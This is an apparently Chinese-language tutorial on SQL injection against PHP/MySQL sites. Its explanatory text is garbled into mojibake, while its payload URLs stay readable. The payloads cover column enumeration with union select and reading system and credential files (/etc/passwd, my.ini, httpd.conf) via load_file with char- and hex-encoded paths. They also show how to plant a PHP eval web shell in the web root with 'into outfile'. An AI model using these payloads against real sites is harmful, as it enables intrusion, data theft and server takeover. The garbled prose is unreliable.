PHPעע
עҵʱ,ٲŹĴ.㲻Ϊߵū,PHP˱,ASPIJ֮Ⱥ,......ô㾲, һͬεּȫ.Ȼջ.ֻڼ,˼·,ʶ..жǷע:,PHPASPжעķһ,һ̬Ӻand 1=1,and 1=2䷵ؽж.ηؽͬ,ɳжΪע.
жֶδС:,Ըphpֶεķ,order by.:
http://127.0.0.1/1.php?id=1 order by 40 //,˵ʵʵֶҪ40.ôǼ.һֱӵش.
Ʃ統http://127.0.0.1/1.php?id=1 order by 45 ʱ,ôǾֶ֪δСΪ44.
UNION SELECT:ֶ֪δСԺ,Ǿunion selectϲѯгֶ.
http://127.0.0.1/1.php?id=1 and 1=2 union select 1,2,3,4~44/* //г44ֶ,/*MYSQL,ǵѾִ.*
ͿڻԳӦֶ,滻Ҫѯֶ,from.ͿԵõӦֶ.Ʃ:
http://127.0.0.1/1.php?id=1and 1=2 union select 1,2,3,4,~30,passwd,32,~45 from member/* //~ʾʡ.㲻ôд.
õMYSQL:,ǰֶζг.ʱ˾üææļfrom.ʵ,²ߺ̨һ,Ӧ÷.˵MYSQL Ĺ,ACCESSһ,,ʵ,ԩMYSQL.,MYSQLЩʲô.
гõĺ:1:system_user()2:user()3:current_user4:session_user()5:database()6:version()7:load_file()......ǵĺֱ:
1:ϵͳû.2:û.3:ǰû:4ݿû.5:ݿ.6:ݿ汾.7:MYSQLȡļĺ
Ƕʲô?1-6:
⼸ϢڼозdzҪ,Ƕ˽Ŀ,Ŀ,Ѱ©,˼·ȵȶĪ.Ʃ˽ϵͳİ汾,˽ݿǷ֧union,ǰûǷROOTûijжϵȵ...7þ,ǽ˵.
ר˵load_file()뼼.
OK.load_file MYSQLȡļʱ,õĺ.עʱȨԶдļʱ,load_fileޱȾ.ôжעȨ?ܼ,עand (select count(*) from mysql.user)>0/*,ôǾждȨ.ǾͿȥȡϵͳļ,ȥѰļ,Ѱݿļ,Ѱ繤ļ,ѰWEB·ȵ.,Ҹܽļб:
WINDOWS:
load_file(char(99,58,47,119,105,110,100,111,119,115,47,112,104,112,46,105,110,105)) c:/windows/php.ini //ʲô˵˰?
load_file(char(99,58,47,119,105,110,110,116,47,112,104,112,46,105,110,105)) c:/winnt/php.ini
load_file(char(99,58,47,119,105,110,100,111,119,115,47,109,121,46,105,110,105)) c:/windows/my.ini //Ա½MYSQLû
load_file(char(99,58,47,119,105,110,110,116,47,109,121,46,105,110,105)) c:/winnt/my.ini
load_file(char(99,58,47,98,111,111,116,46,105,110,105)) c:/boot.ini
LUNIX/UNIX:
load_file(char(47,101,116,99,47,112,97,115,115,119,111,114,100)) /etc/password //˵˰?
load_file(char(47,117,115,114,47,108,111,99,97,108,47,104,116,116,112,100,47,99,111,110,102,47,104,116,116,112,100,46,99,111,110,102)) /usr/local/httpd/conf/httpd.conf //ҲҵվĬĿ¼Ŷ!
load_file(char(47,117,115,114,47,108,111,99,97,108,47,97,112,97,99,104,101,50,47,99,111,110,102,47,104,116,116,112,100,46,99,111,110,102)) /usr/local/apache2/conf/httpd.conf //ҲҵվĬĿ¼Ŷ!
FreeBSD:
load_file(char(47)) //г˴FreeBSDϵͳĸĿ¼
ѿý,ⶼʲô.char()ʲôѽ?һʲô?(ϵͳľͲ,ԼȥGOOGLE).
ʵ,ӵждȨһע,ֱִload_file(c:\boot.ini),һ㶼Բ,,ѡ.1·תΪ16,ֱύݿ.2·תΪ10,char()ԭASCII.
Ʃc:\boot.ini,תΪ16ƾ:"0x633A5C626F6F742E696E69",Ȼֱ load_file(0x633A5C626F6F742E696E69)Ϳ. תΪ10,ô:"99 58 92 98 111 111 116 46 105 110 105".Ҫʹchar()ת,ת֮ǰ,ҪTXT滻,ѿոתΪ",". :load_file(char(99,58,92,98,111,111,116,46,105,110,105)).עⲻҪ,ǶԳƵ.
˵,СҪ..Ū,ȥִа?!,ͼ.
ֻҪload_file()ŵҳֵֶ,ñ֤㹻λʾҪʾļ.ʵû㹻λҲ,ٽ㼸.
1: ʱ,ȷԼӵждļȨ,ȴӲǶļ,һƬհ.Ϊʲô?ԭǶԷϵͳȨĺ,USERȨ, ADMINISTRATORļ.NTFSLINUX.ų,Ҫ,Dz, HTML,ASP,PHP,ASPX,JSPȵȵĽűԸִ?Ʃ<>ȷ,ôͻִļ,Ȼʲô.Ը,Ҳܼ,ֻҪЩķ,ڶʱ,ñķȥ,Ͳȥִ! ô?replace(load_file(A),char(B),char(C))!Aļʱ,Bĸ߷,ôMYSQLCĸ߷ȥB,Ȼʾ.OK.ôһ:replace(load_file(A)),char(60),char(32)).һõCHAR()תΪĸһ"<",ÿո.Ļݸ.
2:еֶλöλû,ļŶ,ֲԭ,ôô?Substring(str,pos,len).˼Ǵַstrposλλlen ַӴ.ƩSubstring(load_file(A),50,100)ǰAݵĵ50ĸʼ100.ôεĻ.
into outfileĸ!
OK.load_file()Ǿ˵ô.,ǻͷϷҪ!,Ҫ˵һҪ÷,ҲزοļƷļIJ.ȷ¼Ժ:
1·(into outfile '·') дĿ¼
2ܹʹunion (Ҳ˵ҪMYSQL3ϵİ汾)
3Էûжԡй(Ϊoutfile '' ת)
4MYSQLûӵfile_privȨ(ȻͲдļ ߰ļݶ)
5webĿ¼дȨMSϵͳһ㶼Ȩ,LINUXͨrwxr-xr-x Ҳ˵ûûȨд.
1,һԿݿϢ,еĻ,Ҳͨload_file()õ.2һ㶼Ե...3Ҳ'''˵.4ûȨ,ǰѾԹ.5ܱݵվ·,Ҳбİ취,Ʃ絽starup,runȥȵ繤İ취.һϴĿ¼,ͼƬĿ¼,ǴֶждȨ.
OK.Ҫȷ,ô?Ƿֿ˵÷.
÷1:йоص÷,Ҷ֪.Dzվе,ϴȹ,һ仰Ūȥ,Ȼʹ
http://www.tian6.com/coder.php?id=1 and 1=2 union select 1,load_file( /www/home/html/upload/qingyafengping.jpg),3,4,5,6 into outfile '/www/home/html/coder.php'/* С͵.
/www/home/html/upload/qingyafengping.jpgΪϴľַ.3,4,5,6Ϊֶ,/www/home/html/ΪWEB·.
÷2,ҲصҪ˵.ķ,ԻDZȽϴ,վϴ,վϴ,ô?,ڼǰ뵽˸ð취.ֻҪֱôִURL:
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(Ĵ,ǵתΪ1016),3,4,5,6 into outfile '/www/home/html/coder.php'/* СҲ,Ҫϴ,Ҳ.
Ʃ
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62),3,4,5,6 into outfile '/www/home/html/coder.php'/*
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,0x3C3F706870206576616C28245F504F53545B636D645D293F3E,3,4,5,6 into outfile '/www/home/html/coder.php'/*
http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,'<?php eval($_POST)?>',3,4,5,6 into outfile '/www/home/html/coder.php'/*
3,4,5,6Ϊֶ,/www/home/html/ΪWEB·.
ܽ:,Ҿͽ.пٸҴʵսļ.Ȼ,ʱͻһʴ.Ҫ,ΪʲôǰҪ˵ô,˵,ʵ,϶ҵص,ΪʲôһҪ˵?ҸĴֻ.
1: һֱᳫѧҪԭ,Ҫ֪Ȼ,ҲҪ֪Ȼ,ÿⶼһģһ,ÿĿ궼һģһ,ÿ,б仯,ҪӦ,Լ,ͱ붮ԭ!Ҳд,ֻĸ.ʵӦ.㶮ԭ,һܹ,ܴ,仯.Ų,ŲS,ٿ,ҪʱԼ.
2:ûлС,ǺѿٵҵԼа.Ѵʱ,õĴ,;.ܶ˾ôʼ.ܽ,ѧĿ,Ҳߴ.Ȼ˶ôԼ(źֶܶԼĥ,ҲǺһ.).̳,û˻һǮ,û˻ҪʲôVIP,Ҫ㸶ʲô.˶ԸΪѧϰõĻ,̳ĹԱ,ҲڰǾܿٵ߽ݾϹ,˵Сǵһû.ҲҷѾĻдЩµԭ.ϣ,Ǽ,ϵ,,ȷѧ.OK.ϻΪֹ.˷Ѹλֵʱ.
ҳ:
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